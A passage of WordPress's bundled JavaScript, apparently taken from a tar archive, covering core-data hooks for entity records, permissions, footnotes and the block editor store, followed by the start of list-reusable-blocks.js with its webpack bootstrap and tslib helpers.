'wp.data.useEntityRecords', since: '6.1' }); return useEntityRecords(kind, name, queryArgs, options); } function useEntityRecordsWithPermissions(kind, name, queryArgs = {}, options = { enabled: true }) { const entityConfig = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getEntityConfig(kind, name), [kind, name]); const { records: data, ...ret } = useEntityRecords(kind, name, queryArgs, options); const ids = (0,external_wp_element_namespaceObject.useMemo)(() => { var _data$map; return (_data$map = data?.map( // @ts-ignore record => { var _entityConfig$key; return record[(_entityConfig$key = entityConfig?.key) !== null && _entityConfig$key !== void 0 ? _entityConfig$key : 'id']; })) !== null && _data$map !== void 0 ? _data$map : []; }, [data, entityConfig?.key]); const permissions = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getEntityRecordsPermissions } = unlock(select(store)); return getEntityRecordsPermissions(kind, name, ids); }, [ids, kind, name]); const dataWithPermissions = (0,external_wp_element_namespaceObject.useMemo)(() => { var _data$map2; return (_data$map2 = data?.map((record, index) => ({ // @ts-ignore ...record, permissions: permissions[index] }))) !== null && _data$map2 !== void 0 ? _data$map2 : []; }, [data, permissions]); return { records: dataWithPermissions, ...ret }; } ;// external ["wp","warning"] const external_wp_warning_namespaceObject = window["wp"]["warning"]; var external_wp_warning_default = /*#__PURE__*/__webpack_require__.n(external_wp_warning_namespaceObject); ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-resource-permissions.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Is the data resolved by now? */ /** * Resolves resource permissions. * * @since 6.1.0 Introduced in WordPress core. * * @param resource Entity resource to check. Accepts entity object `{ kind: 'root', name: 'media', id: 1 }` * or REST base as a string - `media`. * @param id Optional ID of the resource to check, e.g. 10. Note: This argument is discouraged * when using an entity object as a resource to check permissions and will be ignored. * * @example * ```js * import { useResourcePermissions } from '@wordpress/core-data'; * * function PagesList() { * const { canCreate, isResolving } = useResourcePermissions( { kind: 'postType', name: 'page' } ); * * if ( isResolving ) { * return 'Loading ...'; * } * * return ( * <div> * {canCreate ? (<button>+ Create a new page</button>) : false} * // ... * </div> * ); * } * * // Rendered in the application: * // <PagesList /> * ``` * * @example * ```js * import { useResourcePermissions } from '@wordpress/core-data'; * * function Page({ pageId }) { * const { * canCreate, * canUpdate, * canDelete, * isResolving * } = useResourcePermissions( { kind: 'postType', name: 'page', id: pageId } ); * * if ( isResolving ) { * return 'Loading ...'; * } * * return ( * <div> * {canCreate ? (<button>+ Create a new page</button>) : false} * {canUpdate ? (<button>Edit page</button>) : false} * {canDelete ? (<button>Delete page</button>) : false} * // ... * </div> * ); * } * * // Rendered in the application: * // <Page pageId={ 15 } /> * ``` * * In the above example, when `PagesList` is rendered into an * application, the appropriate permissions and the resolution details will be retrieved from * the store state using `canUser()`, or resolved if missing. * * @return Entity records data. * @template IdType */ function useResourcePermissions(resource, id) { // Serialize `resource` to a string that can be safely used as a React dep. // We can't just pass `resource` as one of the deps, because if it is passed // as an object literal, then it will be a different object on each call even // if the values remain the same. const isEntity = typeof resource === 'object'; const resourceAsString = isEntity ? JSON.stringify(resource) : resource; if (isEntity && typeof id !== 'undefined') { true ? external_wp_warning_default()(`When 'resource' is an entity object, passing 'id' as a separate argument isn't supported.`) : 0; } return useQuerySelect(resolve => { const hasId = isEntity ? !!resource.id : !!id; const { canUser } = resolve(store); const create = canUser('create', isEntity ? { kind: resource.kind, name: resource.name } : resource); if (!hasId) { const read = canUser('read', resource); const isResolving = create.isResolving || read.isResolving; const hasResolved = create.hasResolved && read.hasResolved; let status = Status.Idle; if (isResolving) { status = Status.Resolving; } else if (hasResolved) { status = Status.Success; } return { status, isResolving, hasResolved, canCreate: create.hasResolved && create.data, canRead: read.hasResolved && read.data }; } const read = canUser('read', resource, id); const update = canUser('update', resource, id); const _delete = canUser('delete', resource, id); const isResolving = read.isResolving || create.isResolving || update.isResolving || _delete.isResolving; const hasResolved = read.hasResolved && create.hasResolved && update.hasResolved && _delete.hasResolved; let status = Status.Idle; if (isResolving) { status = Status.Resolving; } else if (hasResolved) { status = Status.Success; } return { status, isResolving, hasResolved, canRead: hasResolved && read.data, canCreate: hasResolved && create.data, canUpdate: hasResolved && update.data, canDelete: hasResolved && _delete.data }; }, [resourceAsString, id]); } /* harmony default export */ const use_resource_permissions = (useResourcePermissions); function __experimentalUseResourcePermissions(resource, id) { external_wp_deprecated_default()(`wp.data.__experimentalUseResourcePermissions`, { alternative: 'wp.data.useResourcePermissions', since: '6.1' }); return useResourcePermissions(resource, id); } ;// external ["wp","blocks"] const external_wp_blocks_namespaceObject = window["wp"]["blocks"]; ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-id.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Hook that returns the ID for the nearest * provided entity of the specified type. * * @param {string} kind The entity kind. * @param {string} name The entity name. */ function useEntityId(kind, name) { const context = (0,external_wp_element_namespaceObject.useContext)(EntityContext); return context?.[kind]?.[name]; } ;// external ["wp","blockEditor"] const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"]; ;// ./node_modules/@wordpress/core-data/build-module/footnotes/get-rich-text-values-cached.js /** * WordPress dependencies */ /** * Internal dependencies */ // TODO: The following line should have been: // // const unlockedApis = unlock( blockEditorPrivateApis ); // // But there are hidden circular dependencies in RNMobile code, specifically in // certain native components in the `components` package that depend on // `block-editor`. What follows is a workaround that defers the `unlock` call // to prevent native code from failing. // // Fix once https://github.com/WordPress/gutenberg/issues/52692 is closed. let unlockedApis; const cache = new WeakMap(); function getRichTextValuesCached(block) { if (!unlockedApis) { unlockedApis = unlock(external_wp_blockEditor_namespaceObject.privateApis); } if (!cache.has(block)) { const values = unlockedApis.getRichTextValues([block]); cache.set(block, values); } return cache.get(block); } ;// ./node_modules/@wordpress/core-data/build-module/footnotes/get-footnotes-order.js /** * Internal dependencies */ const get_footnotes_order_cache = new WeakMap(); function getBlockFootnotesOrder(block) { if (!get_footnotes_order_cache.has(block)) { const order = []; for (const value of getRichTextValuesCached(block)) { if (!value) { continue; } // replacements is a sparse array, use forEach to skip empty slots. value.replacements.forEach(({ type, attributes }) => { if (type === 'core/footnote') { order.push(attributes['data-fn']); } }); } get_footnotes_order_cache.set(block, order); } return get_footnotes_order_cache.get(block); } function getFootnotesOrder(blocks) { // We can only separate getting order from blocks at the root level. For // deeper inner blocks, this will not work since it's possible to have both // inner blocks and block attributes, so order needs to be computed from the // Edit functions as a whole. return blocks.flatMap(getBlockFootnotesOrder); } ;// ./node_modules/@wordpress/core-data/build-module/footnotes/index.js /** * WordPress dependencies */ /** * Internal dependencies */ let oldFootnotes = {}; function updateFootnotesFromMeta(blocks, meta) { const output = { blocks }; if (!meta) { return output; } // If meta.footnotes is empty, it means the meta is not registered. if (meta.footnotes === undefined) { return output; } const newOrder = getFootnotesOrder(blocks); const footnotes = meta.footnotes ? JSON.parse(meta.footnotes) : []; const currentOrder = footnotes.map(fn => fn.id); if (currentOrder.join('') === newOrder.join('')) { return output; } const newFootnotes = newOrder.map(fnId => footnotes.find(fn => fn.id === fnId) || oldFootnotes[fnId] || { id: fnId, content: '' }); function updateAttributes(attributes) { // Only attempt to update attributes, if attributes is an object. if (!attributes || Array.isArray(attributes) || typeof attributes !== 'object') { return attributes; } attributes = { ...attributes }; for (const key in attributes) { const value = attributes[key]; if (Array.isArray(value)) { attributes[key] = value.map(updateAttributes); continue; } // To do, remove support for string values? if (typeof value !== 'string' && !(value instanceof external_wp_richText_namespaceObject.RichTextData)) { continue; } const richTextValue = typeof value === 'string' ? external_wp_richText_namespaceObject.RichTextData.fromHTMLString(value) : new external_wp_richText_namespaceObject.RichTextData(value); let hasFootnotes = false; richTextValue.replacements.forEach(replacement => { if (replacement.type === 'core/footnote') { const id = replacement.attributes['data-fn']; const index = newOrder.indexOf(id); // The innerHTML contains the count wrapped in a link. const countValue = (0,external_wp_richText_namespaceObject.create)({ html: replacement.innerHTML }); countValue.text = String(index + 1); countValue.formats = Array.from({ length: countValue.text.length }, () => countValue.formats[0]); countValue.replacements = Array.from({ length: countValue.text.length }, () => countValue.replacements[0]); replacement.innerHTML = (0,external_wp_richText_namespaceObject.toHTMLString)({ value: countValue }); hasFootnotes = true; } }); if (hasFootnotes) { attributes[key] = typeof value === 'string' ? richTextValue.toHTMLString() : richTextValue; } } return attributes; } function updateBlocksAttributes(__blocks) { return __blocks.map(block => { return { ...block, attributes: updateAttributes(block.attributes), innerBlocks: updateBlocksAttributes(block.innerBlocks) }; }); } // We need to go through all block attributes deeply and update the // footnote anchor numbering (textContent) to match the new order. const newBlocks = updateBlocksAttributes(blocks); oldFootnotes = { ...oldFootnotes, ...footnotes.reduce((acc, fn) => { if (!newOrder.includes(fn.id)) { acc[fn.id] = fn; } return acc; }, {}) }; return { meta: { ...meta, footnotes: JSON.stringify(newFootnotes) }, blocks: newBlocks }; } ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-block-editor.js /** * WordPress dependencies */ /** * Internal dependencies */ const use_entity_block_editor_EMPTY_ARRAY = []; const parsedBlocksCache = new WeakMap(); /** * Hook that returns block content getters and setters for * the nearest provided entity of the specified type. * * The return value has the shape `[ blocks, onInput, onChange ]`. * `onInput` is for block changes that don't create undo levels * or dirty the post, non-persistent changes, and `onChange` is for * persistent changes. They map directly to the props of a * `BlockEditorProvider` and are intended to be used with it, * or similar components or hooks. * * @param {string} kind The entity kind. * @param {string} name The entity name. * @param {Object} options * @param {string} [options.id] An entity ID to use instead of the context-provided one. * * @return {[unknown[], Function, Function]} The block array and setters. */ function useEntityBlockEditor(kind, name, { id: _id } = {}) { const providerId = useEntityId(kind, name); const id = _id !== null && _id !== void 0 ? _id : providerId; const { getEntityRecord, getEntityRecordEdits } = (0,external_wp_data_namespaceObject.useSelect)(STORE_NAME); const { content, editedBlocks, meta } = (0,external_wp_data_namespaceObject.useSelect)(select => { if (!id) { return {}; } const { getEditedEntityRecord } = select(STORE_NAME); const editedRecord = getEditedEntityRecord(kind, name, id); return { editedBlocks: editedRecord.blocks, content: editedRecord.content, meta: editedRecord.meta }; }, [kind, name, id]); const { __unstableCreateUndoLevel, editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(STORE_NAME); const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => { if (!id) { return undefined; } if (editedBlocks) { return editedBlocks; } if (!content || typeof content !== 'string') { return use_entity_block_editor_EMPTY_ARRAY; } // If there's an edit, cache the parsed blocks by the edit. // If not, cache by the original entity record. const edits = getEntityRecordEdits(kind, name, id); const isUnedited = !edits || !Object.keys(edits).length; const cackeKey = isUnedited ? getEntityRecord(kind, name, id) : edits; let _blocks = parsedBlocksCache.get(cackeKey); if (!_blocks) { _blocks = (0,external_wp_blocks_namespaceObject.parse)(content); parsedBlocksCache.set(cackeKey, _blocks); } return _blocks; }, [kind, name, id, editedBlocks, content, getEntityRecord, getEntityRecordEdits]); const onChange = (0,external_wp_element_namespaceObject.useCallback)((newBlocks, options) => { const noChange = blocks === newBlocks; if (noChange) { return __unstableCreateUndoLevel(kind, name, id); } const { selection, ...rest } = options; // We create a new function here on every persistent edit // to make sure the edit makes the post dirty and creates // a new undo level. const edits = { selection, content: ({ blocks: blocksForSerialization = [] }) => (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocksForSerialization), ...updateFootnotesFromMeta(newBlocks, meta) }; editEntityRecord(kind, name, id, edits, { isCached: false, ...rest }); }, [kind, name, id, blocks, meta, __unstableCreateUndoLevel, editEntityRecord]); const onInput = (0,external_wp_element_namespaceObject.useCallback)((newBlocks, options) => { const { selection, ...rest } = options; const footnotesChanges = updateFootnotesFromMeta(newBlocks, meta); const edits = { selection, ...footnotesChanges }; editEntityRecord(kind, name, id, edits, { isCached: true, ...rest }); }, [kind, name, id, meta, editEntityRecord]); return [blocks, onInput, onChange]; } ;// ./node_modules/@wordpress/core-data/build-module/hooks/use-entity-prop.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Hook that returns the value and a setter for the * specified property of the nearest provided * entity of the specified type. * * @param {string} kind The entity kind. * @param {string} name The entity name. * @param {string} prop The property name. * @param {number|string} [_id] An entity ID to use instead of the context-provided one. * * @return {[*, Function, *]} An array where the first item is the * property value, the second is the * setter and the third is the full value * object from REST API containing more * information like `raw`, `rendered` and * `protected` props. */ function useEntityProp(kind, name, prop, _id) { const providerId = useEntityId(kind, name); const id = _id !== null && _id !== void 0 ? _id : providerId; const { value, fullValue } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getEntityRecord, getEditedEntityRecord } = select(STORE_NAME); const record = getEntityRecord(kind, name, id); // Trigger resolver. const editedRecord = getEditedEntityRecord(kind, name, id); return record && editedRecord ? { value: editedRecord[prop], fullValue: record[prop] } : {}; }, [kind, name, id, prop]); const { editEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(STORE_NAME); const setValue = (0,external_wp_element_namespaceObject.useCallback)(newValue => { editEntityRecord(kind, name, id, { [prop]: newValue }); }, [editEntityRecord, kind, name, id, prop]); return [value, setValue, fullValue]; } ;// ./node_modules/@wordpress/core-data/build-module/hooks/index.js ;// ./node_modules/@wordpress/core-data/build-module/private-apis.js /** * Internal dependencies */ const privateApis = {}; lock(privateApis, { useEntityRecordsWithPermissions: useEntityRecordsWithPermissions, RECEIVE_INTERMEDIATE_RESULTS: RECEIVE_INTERMEDIATE_RESULTS }); ;// ./node_modules/@wordpress/core-data/build-module/index.js /** * WordPress dependencies */ /** * Internal dependencies */ // The entity selectors/resolvers and actions are shortcuts to their generic equivalents // (getEntityRecord, getEntityRecords, updateEntityRecord, updateEntityRecords) // Instead of getEntityRecord, the consumer could use more user-friendly named selector: getPostType, getTaxonomy... // The "kind" and the "name" of the entity are combined to generate these shortcuts. const build_module_entitiesConfig = [...rootEntitiesConfig, ...additionalEntityConfigLoaders.filter(config => !!config.name)]; const entitySelectors = build_module_entitiesConfig.reduce((result, entity) => { const { kind, name, plural } = entity; result[getMethodName(kind, name)] = (state, key, query) => getEntityRecord(state, kind, name, key, query); if (plural) { result[getMethodName(kind, plural, 'get')] = (state, query) => getEntityRecords(state, kind, name, query); } return result; }, {}); const entityResolvers = build_module_entitiesConfig.reduce((result, entity) => { const { kind, name, plural } = entity; result[getMethodName(kind, name)] = (key, query) => resolvers_getEntityRecord(kind, name, key, query); if (plural) { const pluralMethodName = getMethodName(kind, plural, 'get'); result[pluralMethodName] = (...args) => resolvers_getEntityRecords(kind, name, ...args); result[pluralMethodName].shouldInvalidate = action => resolvers_getEntityRecords.shouldInvalidate(action, kind, name); } return result; }, {}); const entityActions = build_module_entitiesConfig.reduce((result, entity) => { const { kind, name } = entity; result[getMethodName(kind, name, 'save')] = (record, options) => saveEntityRecord(kind, name, record, options); result[getMethodName(kind, name, 'delete')] = (key, query, options) => deleteEntityRecord(kind, name, key, query, options); return result; }, {}); const storeConfig = () => ({ reducer: build_module_reducer, actions: { ...dynamicActions, ...build_module_actions_namespaceObject, ...entityActions, ...createLocksActions() }, selectors: { ...dynamicSelectors, ...build_module_selectors_namespaceObject, ...entitySelectors }, resolvers: { ...resolvers_namespaceObject, ...entityResolvers } }); /** * Store definition for the code data namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, storeConfig()); unlock(store).registerPrivateSelectors(private_selectors_namespaceObject); unlock(store).registerPrivateActions(private_actions_namespaceObject); (0,external_wp_data_namespaceObject.register)(store); // Register store after unlocking private selectors to allow resolvers to use them. (window.wp = window.wp || {}).coreData = __webpack_exports__; /******/ })() ; list-reusable-blocks.js 0000644 00000075173 15004111010 0011124 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function __propKey(x) { return typeof x === "symbol" ? x : "".concat(x); }; function __setFunctionName(f, name, prefix) { if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : ""; return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name }); }; function __metadata(metadataKey, metadataValue) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue); } function __awaiter(thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); } function __generator(thisArg, body) { var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype); return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; function verb(n) { return function (v) { return step([n, v]); }; } function step(op) { if (f) throw new TypeError("Generator is already executing."); while (g && (g = 0, op[0] && (_ = 0)), _) try { if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; if (y = 0, t) op = [op[0] & 2, t.value]; switch (op[0]) { case 0: case 1: t = op; break; case 4: _.label++; return { value: op[1], done: false }; case 5: _.label++; y = op[1]; op = [0]; continue; case 7: op = _.ops.pop(); _.trys.pop(); continue; default: if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } if (t[2]) _.ops.pop(); _.trys.pop(); continue; } op = body.call(thisArg, _); } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; } } var __createBinding = Object.create ? (function(o, m, k, k2) { if (k2 === undefined) k2 = k; var desc = Object.getOwnPropertyDescriptor(m, k); if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) { desc = { enumerable: true, get: function() { return m[k]; } }; } Object.defineProperty(o, k2, desc); }) : (function(o, m, k, k2) { if (k2 === undefined) k2 = k; o[k2] = m[k]; }); function __exportStar(m, o) { for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p); } function __values(o) { var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0; if (m) return m.call(o); if (o && typeof o.length === "number") return { next: function () { if (o && i >= o.length) o = void 0; return { value: o && o[i++], done: !o }; } }; throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined."); } function __read(o, n) { var m = typeof Symbol === "function" && o[Symbol.iterator]; if (!m) return o; var i = m.call(o), r, ar = [], e; try { while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value); } catch (error) { e = { error: error }; } finally { try { if (r && !r.done && (m = i["return"])) m.call(i); } finally { if (e) throw e.error; } } return ar; } /** @deprecated */ function __spread() { for (var ar = [], i = 0; i < arguments.length; i++) ar = ar.concat(__read(arguments[i])); return ar; } /** @deprecated */ function __spreadArrays() { for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length; for (var r = Array(s), k = 0, i = 0; i < il; i++) for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++) r[k] = a[j]; return r; } function __spreadArray(to, from, pack) { if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) { if (ar || !(i in from)) { if (!ar) ar = Array.prototype.slice.call(from, 0, i); ar[i] = from[i]; } } return to.concat(ar || Array.prototype.slice.call(from)); } function __await(v) { return this instanceof __await ? (this.v = v, this) : new __await(v); } function __asyncGenerator(thisArg, _arguments, generator) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var g = generator.apply(thisArg, _arguments || []), i, q = []; return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i; function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; } function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } } function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } } function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); } function fulfill(value) { resume("next", value); } function reject(value) { resume("throw", value); } function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); } } function __asyncDelegator(o) { var i, p; return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i; function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; } } function __asyncValues(o) { if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined."); var m = o[Symbol.asyncIterator], i; return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i); function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; } function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); } } function __makeTemplateObject(cooked, raw) { if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; } return cooked; }; var __setModuleDefault = Object.create ? (function(o, v) { Object.defineProperty(o, "default", { enumerable: true, value: v }); }) : function(o, v) { o["default"] = v; }; var ownKeys = function(o) { ownKeys = Object.getOwnPropertyNames || function (o) { var ar = []; for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k; return ar; }; return ownKeys(o); }; function __importStar(mod) { if (mod && mod.__esModule) return mod; var result = {}; if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]); __setModuleDefault(result, mod); return result; } function __importDefault(mod) { return (mod && mod.__esModule) ? mod : { default: mod }; } function __classPrivateFieldGet(receiver, state, kind, f) { if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); } function __classPrivateFieldSet(receiver, state, value, kind, f) { if (kind === "m") throw new TypeError("Private method is not writable"); if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; } function __classPrivateFieldIn(state, receiver) { if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object"); return typeof state === "function" ? receiver === state : state.has(receiver); } function __addDisposableResource(env, value, async) { if (value !== null && value !== void 0) { if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected."); var dispose, inner; if (async) { if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined."); dispose = value[Symbol.asyncDispose]; } if (dispose === void 0) { if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined."); dispose = value[Symbol.dispose]; if (async) inner = dispose; } if (typeof dispose !== "function") throw new TypeError("Object not disposable."); if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } }; env.stack.push({ value: value, dispose: dispose, async: async }); } else if (async) { env.stack.push({ async: true }); } return value; } var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) { var e = new Error(message); return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e; }; function __disposeResources(env) { function fail(e) { env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e; env.hasError = true; } var r, s = 0; function next() { while (r = env.stack.pop()) { try { if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next); if 